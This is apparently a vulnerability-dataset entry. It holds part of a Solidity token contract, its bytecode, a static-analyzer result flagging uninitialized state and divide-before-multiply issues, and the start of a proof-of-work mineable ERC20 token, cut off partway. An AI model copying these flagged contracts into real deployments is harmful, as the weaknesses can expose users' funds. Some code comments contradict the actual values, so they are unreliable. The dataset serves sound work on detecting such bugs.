_sellethSlotwise=SafeMath.add(_sellethSlotwise, _currentSellPrice);
PurchasecurrentPrice_ =_currentSellPrice;
tokenSupply_ =SafeMath.sub(tokenSupply_ , 1*10**8);
saleToken++;
}
return _sellethSlotwise;
}
function getTokensToEthereum_(uint256 _tokens)
public
view
returns(uint256)
{
uint256 saleToken=1;
uint256 _currentSellPrice = 0;
uint256 _sellethSlotwise = 0;
while(saleToken <=_tokens)
{
uint256 tokenSupplyforPrice= SafeMath.div(tokenSupply_, 10**8);
uint _slotno =SafeMath.div(tokenSupplyforPrice, 1000);
if(_slotno >0)
{
uint256 flag =SafeMath.mod(tokenSupplyforPrice, 1000);
if(flag==0 && tokenSupplyforPrice !=220000)
{
uint256 incrementalPriceOnly=PurchasecurrentPrice_ * 7/1000;
_currentSellPrice=SafeMath.sub(PurchasecurrentPrice_, incrementalPriceOnly);
}
else
{
_currentSellPrice=PurchasecurrentPrice_;
}
}
else
{
_currentSellPrice=tokenpurchasePriceInitial_ ;
}
_sellethSlotwise=SafeMath.add(_sellethSlotwise, _currentSellPrice);
saleToken++;
}
return _sellethSlotwise;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
|
0x60806040526004361061023f5760003560e01c80637824407f1161012e578063a9059cbb116100ab578063e5f978e51161006f578063e5f978e514610c0c578063f2b0b48b14610c47578063f4d2444614610c72578063f531497c14610cc1578063f61afbcf14610d1257610246565b8063a9059cbb14610985578063b84c8246146109f6578063c47f002714610abe578063d12af43614610b86578063d63cf30814610be157610246565b806393f4eaf7116100f257806393f4eaf714610849578063949e8acd1461087457806395d89b411461089f5780639889a7a51461092f578063a60366701461095a57610246565b80637824407f1461074e57806379678ac4146107795780638620410b146107c85780638b7afe2e146107f35780638ed762871461081e57610246565b80633319544c116101bc578063534c6c4011610180578063534c6c40146106095780635d03364e146106345780636b2f46321461068357806370a08231146106ae57806371f4d91d1461071357610246565b80633319544c146105295780633e2780cb1461056e5780634a57bc14146105785780634b750334146105b35780634d7fcebc146105de57610246565b806318160ddd1161020357806318160ddd146103a157806322609373146103cc57806323b872dd1461041b5780632876b927146104ac578063313ce567146104fb57610246565b806306fdde03146102525780630784ef2f146102e25780630a974c341461030d57806310d0ffdd1461031757806312089f831461036657610246565b3661024657005b61024f34610d4d565b50005b34801561025e57600080fd5b50610267610ecc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102a757808201518184015260208101905061028c565b50505050905090810190601f1680156102d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ee57600080fd5b506102f7610f6a565b6040518082815260200191505060405180910390f35b610315610f70565b005b34801561032357600080fd5b506103506004803603602081101561033a57600080fd5b8101908080359060200190929190505050610f7c565b6040518082815260200191505060405180910390f35b34801561037257600080fd5b5061039f6004803603602081101561038957600080fd5b8101908080359060200190929190505050610fb6565b005b3480156103ad57600080fd5b506103b661101c565b6040518082815260200191505060405180910390f35b3480156103d857600080fd5b50610405600480360360208110156103ef57600080fd5b8101908080359060200190929190505050611026565b6040518082815260200191505060405180910390f35b34801561042757600080fd5b506104946004803603606081101561043e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110a0565b60405180821515815260200191505060405180910390f35b3480156104b857600080fd5b506104e5600480360360208110156104cf57600080fd5b8101908080359060200190929190505050611379565b6040518082815260200191505060405180910390f35b34801561050757600080fd5b5061051061140f565b604051808260ff16815260200191505060405180910390f35b34801561053557600080fd5b5061056c6004803603604081101561054c57600080fd5b810190808035906020019092919080359060200190929190505050611414565b005b610576611482565b005b34801561058457600080fd5b506105b16004803603602081101561059b57600080fd5b810190808035906020019092919050505061148e565b005b3480156105bf57600080fd5b506105c86116db565b6040518082815260200191505060405180910390f35b3480156105ea57600080fd5b506105f36116e5565b6040518082815260200191505060405180910390f35b34801561061557600080fd5b5061061e6116eb565b6040518082815260200191505060405180910390f35b34801561064057600080fd5b5061066d6004803603602081101561065757600080fd5b81019080803590602001909291905050506116f9565b6040518082815260200191505060405180910390f35b34801561068f57600080fd5b50610698611716565b6040518082815260200191505060405180910390f35b3480156106ba57600080fd5b506106fd600480360360208110156106d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061171e565b6040518082815260200191505060405180910390f35b34801561071f57600080fd5b5061074c6004803603602081101561073657600080fd5b8101908080359060200190929190505050611767565b005b34801561075a57600080fd5b506107636117cd565b6040518082815260200191505060405180910390f35b34801561078557600080fd5b506107b26004803603602081101561079c57600080fd5b81019080803590602001909291905050506117d7565b6040518082815260200191505060405180910390f35b3480156107d457600080fd5b506107dd6118a3565b6040518082815260200191505060405180910390f35b3480156107ff57600080fd5b506108086118ad565b6040518082815260200191505060405180910390f35b34801561082a57600080fd5b506108336118b5565b6040518082815260200191505060405180910390f35b34801561085557600080fd5b5061085e6118c3565b6040518082815260200191505060405180910390f35b34801561088057600080fd5b506108896118c9565b6040518082815260200191505060405180910390f35b3480156108ab57600080fd5b506108b46118de565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108f45780820151818401526020810190506108d9565b50505050905090810190601f1680156109215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561093b57600080fd5b5061094461197c565b6040518082815260200191505060405180910390f35b34801561096657600080fd5b5061096f6119c3565b6040518082815260200191505060405180910390f35b34801561099157600080fd5b506109de600480360360408110156109a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119cd565b60405180821515815260200191505060405180910390f35b348015610a0257600080fd5b50610abc60048036036020811015610a1957600080fd5b8101908080359060200190640100000000811115610a3657600080fd5b820183602082011115610a4857600080fd5b80359060200191846001830284011164010000000083111715610a6a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611b6f565b005b348015610aca57600080fd5b50610b8460048036036020811015610ae157600080fd5b8101908080359060200190640100000000811115610afe57600080fd5b820183602082011115610b1057600080fd5b80359060200191846001830284011164010000000083111715610b3257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611be5565b005b348015610b9257600080fd5b50610bdf60048036036040811015610ba957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c5b565b005b348015610bed57600080fd5b50610bf6611e82565b6040518082815260200191505060405180910390f35b348015610c1857600080fd5b50610c4560048036036020811015610c2f57600080fd5b8101908080359060200190929190505050611e88565b005b348015610c5357600080fd5b50610c5c612070565b6040518082815260200191505060405180910390f35b348015610c7e57600080fd5b50610cab60048036036020811015610c9557600080fd5b8101908080359060200190929190505050612076565b6040518082815260200191505060405180910390f35b348015610ccd57600080fd5b50610d1060048036036020811015610ce457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120b0565b005b348015610d1e57600080fd5b50610d4b60048036036020811015610d3557600080fd5b8101908080359060200190929190505050612150565b005b6000803390506000610d636003546004546122f5565b905060006064600854860281610d7557fe5b0490506000610d8486836122f5565b90506000610d918261230c565b90506305f5e10081029050600081118015610db85750600454610db682600454612454565b115b610dc157600080fd5b83811115610dce57600080fd5b610e17600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612454565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38095505050505050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f625780601f10610f3757610100808354040283529160200191610f62565b820191906000526020600020905b815481529060010190602001808311610f4557829003601f168201915b505050505081565b60075481565b610f7934610d4d565b50565b6000806064600854840281610f8d57fe5b0490506000610f9c84836122f5565b90506000610fa982611379565b9050809350505050919050565b6000339050601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661101157600080fd5b816009819055505050565b6000600254905090565b60008060009050603283101561103f576001905061107a565b600061104c846032612470565b9050809150600061105e856032612489565b9050600081111561107757611074836001612454565b92505b50505b600061108684836122f5565b90506000611093826117d7565b9050809350505050919050565b6000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156110ee57600080fd5b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561117757600080fd5b6111c0600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836122f5565b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611289600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836122f5565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000806000905060006113926004546305f5e100612470565b905060006113a2826103e8612470565b905060008111156113eb578060075414156113e05760006103e86007600c5402816113c957fe5b0490506113d8600c5482612454565b9350506113e6565b600c5492505b6113f5565b654bc9c70c940092505b60006114018685612470565b905080945050505050919050565b600881565b6000339050601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661146f57600080fd5b8160088190555082600981905550505050565b61148b346124aa565b50565b60006114986118c9565b116114a257600080fd5b6000339050600f60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156114f357600080fd5b611501826305f5e100612470565b9150600060328310156115175760019050611552565b6000611524846032612470565b90508091506000611536856032612489565b9050600081111561154f5761154c836001612454565b92505b50505b600061155e84836122f5565b9050600181101561156e57600080fd5b61157d6305f5e1008302612688565b6000819050600061158d82612765565b90506115de600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546305f5e10088026122f5565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611667573d6000803e3d6000fd5b503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6305f5e10089026040518082815260200191505060405180910390a3505050505050565b6000600c54905090565b60095481565b600060045460035403905090565b600080606460085484028161170a57fe5b04905080915050919050565b600047905090565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000339050601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166117c257600080fd5b816008819055505050565b6000600454905090565b600080600190506000805b8483116118985760006117fb6004546305f5e100612470565b9050600061180b826103e8612470565b90506000811115611873576000611824836103e8612489565b9050600081148015611839575062035b608314155b156118675760006103e86007600c54028161185057fe5b04905061185f600c54826122f5565b95505061186d565b600c5494505b5061187d565b654bc9c70c940093505b6118878385612454565b9250848060010195505050506117e2565b809350505050919050565b6000600c54905090565b600047905090565b600060045460035403905090565b60085481565b6000803390506118d88161171e565b91505090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119745780601f1061194957610100808354040283529160200191611974565b820191906000526020600020905b81548152906001019060200180831161195757829003601f168201915b505050505081565b6000601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b6000600654905090565b6000806119d86118c9565b116119e257600080fd5b6000339050611a30600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846122f5565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611abc600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484612454565b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6000339050601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611bca57600080fd5b8160019080519060200190611be092919061285a565b505050565b6000339050601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611c4057600080fd5b8160009080519060200190611c5692919061285a565b505050565b6000339050601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611cb657600080fd5b6000611cc06118ad565b90503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611d4c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611dbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f496e76616c69642053656e64657220416464726573730000000000000000000081525060200191505060405180910390fd5b82811015611e35576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4e6f7420656e6f75676820616d6f756e7400000000000000000000000000000081525060200191505060405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015611e7b573d6000803e3d6000fd5b5050505050565b600a5481565b6000339050601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611ee357600080fd5b6000611ef36003546004546122f5565b905080831115611f0257600080fd5b6000339050601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611f5d57600080fd5b611fa6600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485612454565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3600554841461206a57612063600354856122f5565b6003819055505b50505050565b600c5481565b600080612082836117d7565b90506000606460085483028161209457fe5b04905060006120a38383612454565b9050809350505050919050565b6000339050601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661210b57600080fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000339050601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121ab57600080fd5b6000339050601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661220657600080fd5b600f60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111561225257600080fd5b61229b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846122f5565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122ea60035484612454565b600381905550505050565b60008282111561230157fe5b818303905092915050565b6000806000905060006123256004546305f5e100612470565b90506000612335826103e8612470565b9050600081111561234a57600c549250612354565b654bc9c70c940092505b60006123608685612470565b90506123746004546305f5e1008302612454565b600481905550600061238c6004546305f5e100612470565b9050600061239c826103e8612470565b90508060075414156123df5760006103e86007600c5402816123ba57fe5b0490506123c9600c5482612454565b600c819055506001820160078190555050612446565b6007548111156124455760006123f7826007546122f5565b905060005b8181116124385760006103e86007600c54028161241557fe5b049050612424600c5482612454565b600c819055505080806001019150506123fc565b5060018201600781905550505b5b829650505050505050919050565b60008082840190508381101561246657fe5b8091505092915050565b60008082848161247c57fe5b0490508091505092915050565b60008082141561249857600080fd5b8183816124a157fe5b06905092915050565b6000806124bb6003546004546122f5565b905060006064604b8502816124cc57fe5b04905060006124db85836122f5565b905060006124e88261230c565b90506305f5e1008102905060008111801561250f575060045461250d82600454612454565b115b61251857600080fd5b8381111561252557600080fd5b612590600f6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612454565b600f6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a380945050505050919050565b80600f600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506126e3600354826122f5565b6003819055506126f560065482612454565b60068190555061dead73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600080600190506000805b84831161284f5760006127896004546305f5e100612470565b90506000612799826103e8612470565b9050600081111561280d5760006127b2836103e8612489565b90506000811480156127c7575062035b608314155b156128015760006103e86007600c5402816127de57fe5b0490506127ed600c54826122f5565b955060016007540360078190555050612807565b600c5494505b50612817565b654bc9c70c940093505b6128218385612454565b925083600c8190555061283a6004546305f5e1006122f5565b60048190555084806001019550505050612770565b809350505050919050565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261289057600085556128d7565b82601f106128a957805160ff19168380011785556128d7565b828001600101855582156128d7579182015b828111156128d65782518255916020019190600101906128bb565b5b5090506128e491906128e8565b5090565b5b808211156129015760008160009055506001016128e9565b509056fea2646970667358221220066a3b47fa123881618628865e0914bc996f6653d371d4276d5b6015278d5bf964736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 7,807 |
0x7fb550255d0daf6de4d9b8d5275d2dc28619b78d
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// '0xZibit Token' contract
// Mineable ERC20 Token using Proof Of Work
//
// Symbol : 0xZIBIT
// Name : 0xZibit Token
// Total supply: 5,000,000.00
// Decimals : 8
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract _0xZibitToken is ERC20Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount;//number of 'blocks' mined
uint public _BLOCKS_PER_READJUSTMENT = 1024;
//a little number
uint public _MINIMUM_TARGET = 2**16;
//a big number is easier ; just find a solution that is smaller
//uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget;
bytes32 public challengeNumber; //generate a new one when a new reward is minted
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
bool locked = false;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function _0xZibitToken() public onlyOwner{
symbol = "0xZIBIT";
name = "0xZibit Token";
decimals = 8;
_totalSupply = 5000000 * 10**uint(decimals);
if(locked) revert();
locked = true;
tokensMinted = 0;
rewardEra = 0;
maxSupplyForEra = _totalSupply.div(2);
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
//The owner gets nothing! You must mine this ERC20 token
//balances[owner] = _totalSupply;
//Transfer(address(0), owner, _totalSupply);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
//the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce );
//the challenge digest must match the expected
if (digest != challenge_digest) revert();
//the digest must be smaller than the target
if(uint256(digest) > miningTarget) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert(); //prevent the same answer from awarding twice
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
//Cannot mint more tokens than there are
assert(tokensMinted <= maxSupplyForEra);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
Mint(msg.sender, reward_amount, epochCount, challengeNumber );
return true;
}
//a new 'block' to be mined
function _startNewMiningEpoch() internal {
//if max supply for the era will be exceeded next reward round then enter the new era before that happens
//40 is the final reward era, almost all tokens minted
//once the final era is reached, more tokens will not be given out because the assert function
if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39)
{
rewardEra = rewardEra + 1;
}
//set the next minted supply at which the era will change
// total supply is 500000000000000 because of 8 decimal places
maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1));
epochCount = epochCount.add(1);
//every so often, readjust difficulty. Dont readjust when deploying
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
//make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks
//do this last since this is a protection mechanism in the mint() function
challengeNumber = block.blockhash(block.number - 1);
}
//https://en.bitcoin.it/wiki/Difficulty#What_is_the_formula_for_difficulty.3F
//as of 2017 the bitcoin difficulty was up to 17 zeroes, it was only 8 in the early days
//readjust the target by 5 percent
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
//assume 360 ethereum blocks per hour
//we want miners to spend 10 minutes to mine each 'block', about 60 ethereum blocks = one 0xbitcoin epoch
uint epochsMined = _BLOCKS_PER_READJUSTMENT; //256
uint targetEthBlocksPerDiffPeriod = epochsMined * 60; //should be 60 times slower than ethereum
//if there were less eth blocks passed in time than expected
if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod )
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod );
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
// If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100.
//make it harder
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 %
}else{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod );
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000
//make it easier
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET) //very difficult
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET) //very easy
{
miningTarget = _MAXIMUM_TARGET;
}
}
//this is a recent ethereum block hash, used to prevent pre-mining future blocks
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
//the number of zeroes the digest of the PoW solution requires. Auto adjusts
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
//21m coins total
//reward begins at 15 and is cut in half every reward era (as tokens are mined)
function getMiningReward() public constant returns (uint) {
//once we get half way thru the coins, only get 7.5 per block
//every reward era, the reward amount halves.
return (15 * 10**uint(decimals) ).div( 2**rewardEra ) ;
}
//help debug mining software
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
//help debug mining software
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
